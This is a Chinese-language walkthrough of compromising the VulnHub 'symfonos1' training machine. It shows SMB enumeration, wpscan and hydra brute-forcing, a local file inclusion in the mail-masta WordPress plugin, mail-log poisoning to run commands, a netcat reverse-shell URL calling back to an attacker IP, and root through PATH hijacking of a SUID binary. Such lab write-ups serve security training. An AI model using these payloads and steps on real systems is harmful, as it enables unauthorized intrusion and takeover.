主机来源:www.vulnhub.com
下载地址:https://download.vulnhub.com/symfonos/symfonos1.7z
用到的知识点:
SMB使用
wpscan
本地文件包含和写邮件getshell
修改环境变量提权
发现IP
IP为10.0.3.150
nmap
SMB
直接使用SMB协议,使用anonymous用户登录
发现一个文件
我猜有人用了这些密码
还发现一个用户
试一下用上面的密码登录下helios
smbclient //10.0.3.150/helios --user=helios
最后用了qwerty进来了
全部get下来读一下
根据他说的work on /h3l105 我就去web下访问了,结果真有
wordpress兄弟,上wpscan 这里插一句,站点会解析到symfonos.local中, 我们在/etc/hosts的文件中修改一下(不改也行,就是访问的慢一些)
wpscan
wpscan --url http://10.0.3.150/h3l105 --wp-content-dir -ep -et -eu
找到一个用户,是admin
我爆破一下(没暴破出来)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.3.150
扫插件
wpscan --url http://symfonos.local/h3l105 --enumerate p
找到两个插件
去查一下有没有漏洞
有个本地文件包含
通过我们的实际插件地址去访问
后面拼接参数,发现漏洞存在
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
getshell
发现可以读本地文件,那如果要getshell,我们就需要能写进去一些什么,现在想到25端口是开着的,一定有用,那就用写邮件的方式去写文件进去。
先看一下我们能不能读邮件
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
可以读,那接下来开始写邮件
已经收到邮件
执行shell
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=id
我们弹个shell回来
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=nc%2010.0.3.141%20443%20-e%20/bin/bash
变个好用的shell
'import pty;pty.spawn("/bin/sh")'
提权
sudo -l了一下没东西
然后
find / -perm -u=s -type f 2>/dev/null
找到一个奇怪的程序,我们把他放在web目录下,然后下下来
本地strings一下
发现一个curl命令,没有加绝对路径,我们想办法去修改环境变量
先下一个rootshell过来,
然后编译他(这时候我在web目录下(var/www/html),因为这里我有写权限)
gcc rootshell.c -o curl
然后把这里加到环境变量的最前边
执行程序
获得root